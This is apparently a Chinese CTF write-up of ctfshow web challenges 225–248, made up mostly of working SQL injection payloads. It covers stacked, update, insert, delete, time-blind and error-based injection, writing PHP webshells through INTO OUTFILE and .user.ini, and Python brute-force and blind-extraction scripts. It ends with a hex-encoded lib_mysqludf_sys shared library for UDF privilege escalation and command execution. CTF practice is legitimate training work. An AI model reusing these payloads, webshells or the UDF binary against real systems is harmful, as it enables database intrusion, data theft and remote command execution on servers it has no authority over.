($_FILES ["file" ]["tmp_name" ], "upload/" . $filename ); $con = mysqli_connect ("localhost" , "root" , "root" , "ctf" ); if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } if (mysqli_multi_query ($con , $sql )) { header ("location:filelist.php" ); } else { echo "Error: " . $sql . "<br>" . mysqli_error ($con ); } mysqli_close ($con ); } ?>
注意这里的sql语句
1 $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('" . $filename . "','" . $filepath . "','" . $filetype . "');" ;
这里可以看到filename和filepath都是不可控的,唯有filetype是可控的,然后我们看filetype的赋值机制
1 $filetype = (new finfo) -> file($_FILES['file' ]['tmp_name' ]);
finfo类:finfo是一个类,里面有方法open,file
finfo_open:finfo_open – finfo::__construct — 创建新 finfo 实例,这个函数的作用是打开一个文件,通常和finfo::file(finfo_file)在一起使用,
finfo_file:返回一个文件的信息
本地测试一下
1 2 3 <?php $filetype = (new finfo)->file ('1.txt' );var_dump ($filetype );
然后我们创建一个1.txt
1 C64File "');select 0x3c3f3d60746163202f666c2a603f3e into outfile '/var/www/html/file1.php' ;--+
运行php后执行结果
1 string(107 ) "PC64 Emulator file " "' );select 0x3c3f3d60746163202f666c2a603f3e into outfile '/var/www/html/file1.php' ;--+""
可以发现这里成功插入了我们的数据,也就是说我们代码中的filetype,然后这里拼接到sql语句中造成注入
堆叠注入提升 web225 查询语句
1 2 3 $sql = "select id,username,pass from ctfshow_user where username = '{$username} ';" ;
返回逻辑
1 2 3 4 if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i' ,$username )){ die (json_encode ($ret )); }
这里的话过滤了很多啊,但是show可以用,试着看一下
1 2 3 /api/?username=-1 ';show databases;--+ /api/?username=-1 ';show tables ;--+ /api/?username=-1 ';show tables ;show columns from ctfshow_web.ctfshow_flagasa;--+
输出
1 data ":[{"Tables_in_ctfshow_web ":"ctfshow_flagasa "},{"Tables_in_ctfshow_web ":"ctfshow_user "}]}
出来表名了,但是操作表的函数都被禁了,翻了一下可以用handler
1 ?username=-1 ';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first ;
这个表只有一行数据,直接就出来了
web226 1 2 3 4 if (preg_match ('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i' ,$username )){ die (json_encode ($ret )); }
多过滤了show和(,上面的方法不能用了,但是可以用预处理语句
这里因为过滤了查询语句,所以用十六进制编码绕过
1 2 3 4 5 6 7 8 ?username=-1';PREPARE test from 0x73686f7720646174616261736573;execute test;--+ ctfshow_web ?username=-1';PREPARE test from 0x73686f77207461626c6573;execute test;--+ ctfsh_ow_flagas ?username=-1';PREPARE test from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute test;--+ data":[{"id":"1","flagasb":"ctfshow{f48205fc-3fcc-42c3-9ca7-bb5ee5018ded}","info":"you get it"}]}
web227 1 2 3 4 //师傅说过滤的越多越好 if (preg_match('/file|into |dump |union |select |update |delete |alter |drop |create |describe |set |show |db |\,/i ',$username)){ die(json_encode($ret)); }
比之前多了一个db和逗号,但是貌似不影响我们的操作
1 2 ?username= - 1 ';PREPARE test from 0x7368 6f77206461746162 61736573 ;execute test;--+ ctfshow_web
但是貌似flag不在表中,翻了一阵子都没翻到,那就看看存储过程
Routines 是information_schema中的一个表,存储所有存储过程和函数的定义信息
1 ?username= - 1 ';PREPARE test from 0x5345 4c45435420 2a204652 4f4d2069 6e666f726d617469 6f6e5f73636865 6d612e526f757469 6e6573 ;execute test;--+
web228-230 这里看不到过滤了,但是之前的方法也能用
这里放出web228的payload,其他的改一下表名就行
1 2 3 4 5 ?username= - 1 ';PREPARE test from 0x7368 6f77206461746162 61736573 ;execute test;--+ ?username=-1'; PREPARE test from 0 x73686f77207461626c6573; execute test; - - + ?username= - 1 ';PREPARE test from 0x7365 6c65637420 2a206672 6f6d206374667368 5f6f775f666c616761736161 ;execute test;--+
update 注入 web231 1 $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}' ;";
更新一条数据,参数可控,这里的话可以直接注入username,让username的内容更新为我们的sql查询语句的结果
一直以为是GET传参,结果发现是post
1 2 3 4 5 6 7 8 9 10 password =ctfshow',username=(select database())%23&username =nonono数据库名:ctfshow_web password =ctfshow',username=(select group_concat(table_name)from information_schema.tables where table_schema =database())%23&username=nonono数据表名:banlist,ctfshow_user,flaga password =ctfshow',username=(select group_concat(column_name)from information_schema.columns where table_name ='flaga' )%23&username=nonono字段名:id,flagas,info password =ctfshow',username=(select flagas from flaga)%23&username =nonono
web232 1 $sql = "update ctfshow_user set pass = md5('{$password}' ) where username = '{$username}' ;";
有md5加密函数,闭合就完事
1 2 3 4 5 6 7 8 9 10 password =1'),username=(select database())--+&username =test数据库名:ctfshow_web password =1'),username=(select group_concat(table_name)from information_schema.tables where table_schema =database())--+&username=test数据表名:banlist,ctfshow_user,flagaa password =1'),username=(select group_concat(column_name)from information_schema.columns where table_name ='flagaa' )--+&username=test字段名:id,flagass,info password =1'),username=(select flagass from flagaa)--+&username =test
web233 1 $sql = "update ctfshow_user set pass = '\' where username = '{$username }';" ;
过滤了单引号,直接转义逃逸单引号就行
1 2 3 4 5 6 7 8 9 10 password =\&username=,username=(select database ())数据库名:ctfshow_web password =\&username=,username=(select group_concat(table_name )from information_schema.tables where table_schema=database ())数据表名:banlist,ctfshow_user,flag233333 password =\&username=,username=(select group_concat(column_name )from information_schema.columns where table_name ='flag233333' )字段名:id,flagass233,info password =\&username=,username=(select flagass233 from flag233333)
我发现过滤单引号只是在password中的,username中用单引号不影响
web234 这里连username的单引号也过滤了,不过也可以用双引号
1 2 3 4 password =\&username=,username=(select group_concat(column_name )from information_schema.columns where table_name ="flag23a")字段名:id,flagass23s3,info password =\&username=,username=(select flagass23s3 from flag23a)
web235 过滤了or和单引号,这样的话information_schema库就用不了了,打无列名注入
用mysql的innodb_index_stats表
1 2 3 4 5 password =\&username=,username=(select group_concat(database_name) from mysql.innodb_index_stats)库名:忘记了没看到 password =\&username=,username=(select group_concat(table_name ) from mysql.innodb_table_stats where database_name=database ())表名:banlist,ctfshow_user,flag23a1
然后用union取别名爆数据
1 password =\&username=,username=(select b from (select 1 ,2 as b,3 union select * from flag23a1 limit 1 ,1 )a)
这里需要limit限制输出,不然结果出不来
web236 多过滤了flag,先看看表名是什么
1 2 password =\&username=,username=(select group_concat(table_name ) from mysql.innodb_table_stats where database_name=database ())banlist,ctfshow_user,flaga
但是好像在username中没有禁用flag,只是在password中禁用了
1 password =\&username=,username=(select b from (select 1 ,2 as b,3 union select * from flaga limit 1 ,1 )a)
insert 注入 web237 1 $sql = "insert into ctfshow_user(username,pass) value('{$username }','{$password }');" ;
这里还是一样的,不过需要结束前面的insert语句
记得需要闭合后面的括号
在添加里面传入payload
1 username=1' ,(select database ())) ;#&password=
插入语句
1 $sql = "insert into ctfshow_user(username,pass) value ('1' ,(select database ()));#','');";
payload
1 2 3 4 5 6 7 8 9 10 username =1',(select group_concat(schema_name) from information_schema.schemata))#&password =1库名:ctfshow_web username =2',(select group_concat(table_name) from information_schema.tables where table_schema =database()))#&password=1表名:banlist,ctfshow_user,flag username =3',(select group_concat(column_name) from information_schema.columns where table_name ='flag' ))#&password=1字段名:id,flagass23s3,info username =4',(select flagass23s3 from flag))#&password =1
需要注意的是,insert只是插入数据的,不能覆盖数据,所以我们每次注入的结果得重新构造username的名字才能进行下一次插入
web238 过滤了空格,用空格绕过就行
1 2 3 4 5 6 7 8 9 10 username=1' ,(select (database())))#&password=1 库名:ctfshow_web username=2' ,(select (group_concat(table_name))from (information_schema.tables)where (table_schema=database())))#&password=1 表名:banlist,ctfshow_user,flagb username=3' ,(select (group_concat(column_name))from (information_schema.columns)where (table_name='flagb' )))#&password=1 字段名:id,flagass23s3,info username=4' ,(select (flag)from (flagb)))#&password=1
web239
一样的,用其他的库去爆
库名还是ctfshow_web
1 2 username=2',(select (group_concat(table_name))from (mysql.innodb_table_stats)where (database_name=database ())))#&password =1 表名:banlist,ctfshow_user,flagbb
然后union取别名爆字段
1 username=3',(select (b)from (select (1 ),(2 )as (b),(3 )union (select (flagbb)limit (0 ),(1 )))a))#&password =1
好奇怪取别名打不通,直接爆flag试试
1 username=3' ,(select (group_concat(flag))from (ctfshow_web.flagbb)))#&password=1
web240
断绝路了,那就直接爆表名吧,根据题目hint
1 Hint : 表名共9 位,flag 开头,后五位由a/b组成,如flagabaab,全小写
写个脚本输出全部的组合
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def generate_all_ab_combinations (length=5 ): """ 生成由 'a' 和 'b' 组成的所有可能组合的字符串。 :param length: 字符串的长度,默认为 5 :return: 所有组合的列表 """ from itertools import product combinations = ['' .join(comb) for comb in product('ab' , repeat=length)] return combinations all_combinations = generate_all_ab_combinations() with open ('for5.txt' , 'w' ) as file: for comb in all_combinations: file.write(comb + '\n' ) print ("所有组合已写入文件 'for5.txt'" )
然后爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = "http://66eef819-a9cc-4007-8627-a7cdabdbc269.challenge.ctf.show/api/insert.php" content = "" with open ('for5.txt' ,'r' ) as file: for line in file: content = line.strip() payload = f"flag{content} " data = { "username" : f"1',(select(flag)from({payload} )))#" , "password" : '1' , } r = requests.post(url=url, data=data)
当然也可以直接打
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://66eef819-a9cc-4007-8627-a7cdabdbc269.challenge.ctf.show/api/insert.php" for a1 in "ab" : for a2 in "ab" : for a3 in "ab" : for a4 in "ab" : for a5 in "ab" : payload='flag' +a1+a2+a3+a4+a5 data={ 'username' :f"1',(select(flag)from({payload} )))#" , 'password' :'1' } r=requests.post(url=url,data=data)
最后刷新一下页面看看添加的结果就行
delete 注入 web241 1 2 $sql = "delete from ctfshow_user where id = {$id} " ;
路由是/api/delete.php,POST参数的id
因为delete本身不会返回结果,所以我们打时间盲注
延迟差不多3s左右,直接写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsimport timeurl = "http://4450a879-5ff0-4c75-b503-1f6341f95494.challenge.ctf.show/api/delete.php" i = 0 target = "" while True : i += 1 head = 32 tail = 127 while head < tail: mid = (head + tail) // 2 payload = f"if(ascii(substr((select flag from flag),{i} ,1))>{mid} ,sleep(0.15),0)#" data = { "id" : payload, } print (data) start = time.time() r = requests.post(url, data=data) end = time.time() - start if end > 2 : head = mid + 1 else : tail = mid if head != 32 : target += chr (head) print (target) else : break print (target)
file模块 web242 1 2 //备份表 $sql = "select * from ctfshow_user into outfile '/var /www/html /dump/ {$filename }';";
写入文件,路由是/api/dump.php
用lines terminated by 或者lines starting by 或者fields terminated by 写入
1 2 3 filename=1.php' lines terminated by ' <?php phpinfo ();?> ';# filename=1.php' lines starting by ' <?php phpinfo ();?> ';# filename=1.php' fields terminated by ' <?php phpinfo ();?> ';#
然后写🐎访问/dump/shell.php就行
1 1 =system('cat /flag.here' )
web243
跟文件上传一样打
看一下中间件nginx/1.20.1
先传一个1.txt文件
1 filename =1 .txt' lines terminated by ' <?= eval($_POST [1 ])
传.user.ini文件
然后访问/dump并RCE
因为.user.ini文件会将1.txt包含道服务器默认的php文件中例如index.php,并且我们访问/dump的话也是会自动导向默认的php文件,所以直接访问/dump就行
报错注入 web244 报错注入开始,可以用updatexml\extractvalue打xpath报错注入
1 2 // 备份表 $sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 1;" ;
payload
1 2 3 4 5 6 7 8 /api/?id =1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 回显~ctfshow_web~ /api/?id =1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema =database()),0x7e),1)--+ 回显~banlist,ctfshow_flag,ctfshow_us /api/?id =1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name ='ctfshow_flag' ),0x7e),1)--+ 回显~id,flag,info~
后面发现无法全部显示,换成left和right去分别输出吧
1 2 3 4 5 /api/?id =1 ' or updatexml(1 ,concat(0x7e ,left((select flag from ctfshow_flag),30 ),0x7e ),1 ) ~ctfshow{ee4ca922-a90b-4041 -bf5~ /api/?id =1 ' or updatexml(1 ,concat(0x7e ,right((select flag from ctfshow_flag),30 ),0x7e ),1 ) ~2 -a90b-4041 -bf53-f5a23fa9d0a6}~
拼接后就是
1 ctfshow {ee4ca922-a90b-4041 -bf53-f5a23fa9d0a6}
web245 过滤updatexml那就用另一个extractvalue呗
1 /api/?id =1 ' or extractvalue(1 ,concat(0x7e ,(select version ())))
回显
那直接打就行
1 2 3 4 5 6 7 8 9 10 11 /api/?id =1' or extractvalue(1,concat(0x7e,(select database())))--+ 回显~ctfshow_web /api/?id =1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema =database())))--+ 回显~banlist,ctfshow_flagsa,ctfshow_ /api/?id =1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name ='ctfshow_flagsa' )))--+ 回显~id,flag1,info /api/?id =1' or extractvalue(1,concat(0x7e,left((select flag1 from ctfshow_flagsa),30)))--+ /api/?id =1' or extractvalue(1,concat(0x7e,right((select flag1 from ctfshow_flagsa),30)))--+
web246 1 过滤updatexml extractvalue
xpath报错走不了了,用group by 报错注入
floor(rand(0)2) 产生的随机数的*前六位 一定是 “011011”
然后我们的payload就是
1 2 /api/?id=1 ' union select count (*),2 ,concat((select database()),0x7e ,floor (rand (0 )*2 ))as a from information_schema.tables group by a--+ 回显ctfshow_web~1
后面一直没成功,我以为是概率问题,结果发现是有限制输出长度
用切片函数去分段输出
1 2 3 4 5 6 7 /api/?id=1 ' union select 1 ,count (*),concat(left((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),30 ),0x7e ,floor (rand (0 )*2 ))a from information_schema.tables group by a--+ /api/?id=1 ' union select 1 ,count (*),concat(left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flags'),30 ),0x7e ,floor (rand (0 )*2 ))a from information_schema.tables group by a--+ /api/?id=1 ' union select 1 ,count (*),concat(left((select flag2 from ctfshow_flags),30 ),0x7e ,floor (rand (0 )*2 ))a from information_schema.tables group by a--+ /api/?id=1 ' union select 1 ,count (*),concat(right((select flag2 from ctfshow_flags),30 ),0x7e ,floor (rand (0 )*2 ))a from information_schema.tables group by a--+
web247 1 过滤updatexml extractvalue floor
说明上面的是预期解,我们继续用别的方法
1 2 3 4 5 6 7 ceil ()-向上取整函数ceil (x) 返回不小于 x 的最小整数,即向上取整。例如,ceil (3.14 ) 返回 4 。 round () - 四舍五入函数round (x) 返回最接近 x 的整数,如果有两个整数与 x 距离相等,则返回偶数的整数。例如,round (3.6 ) 返回 4 ,round (3.5 ) 返回 4 ,round (3.4 ) 返回 3 。
payload
1 2 3 4 5 6 7 8 9 /api/?id=1 ' union select count (*),2 ,concat((select database()),0x7e ,round(rand (0 )*2 ))as a from information_schema.tables group by a--+ /api/?id=1 ' union select count (*),2 ,concat((select database()),0x7e ,ceil(rand (0 )*2 ))as a from information_schema.tables group by a--+ 回显ctfshow_web~1 /api/?id=1 ' union select 1 ,count (*),concat(0x7e ,left((select group_concat(table_name)from information_schema.tables where table_schema=database()),30 ),0x7e ,round(rand (0 )*2 ))a from information_schema.tables group by a--+ /api/?id=1 ' union select 1 ,count (*),concat(0x7e ,left((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_flagsa'),30 ),0x7e ,round(rand (0 )*2 ))a from information_schema.tables group by a--+
这里有一个需要注意的地方,因为爆出来的字段名是flag?,所以需要用反引号去括起来否则会造成解析错误
1 2 3 /api/?id=1 ' union select 1 ,count (*),concat(0x7e ,left((select `flag?` from ctfshow_flagsa),30 ),0x7e ,round(rand (0 )*2 ))a from information_schema.tables group by a--+ /api/?id=1 ' union select 1 ,count (*),concat(0x7e ,right((select `flag?` from ctfshow_flagsa),30 ),0x7e ,round(rand (0 )*2 ))a from information_schema.tables group by a--+
UDF注入 web248 UDF提权
1 $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1 ;";
参考师傅的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import requestsurl = 'http://e0755bce-8366-435e-ae6d-acd10ff77c81.challenge.ctf.show/api/?id=' code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC00000000000000000000000000000008000000000000000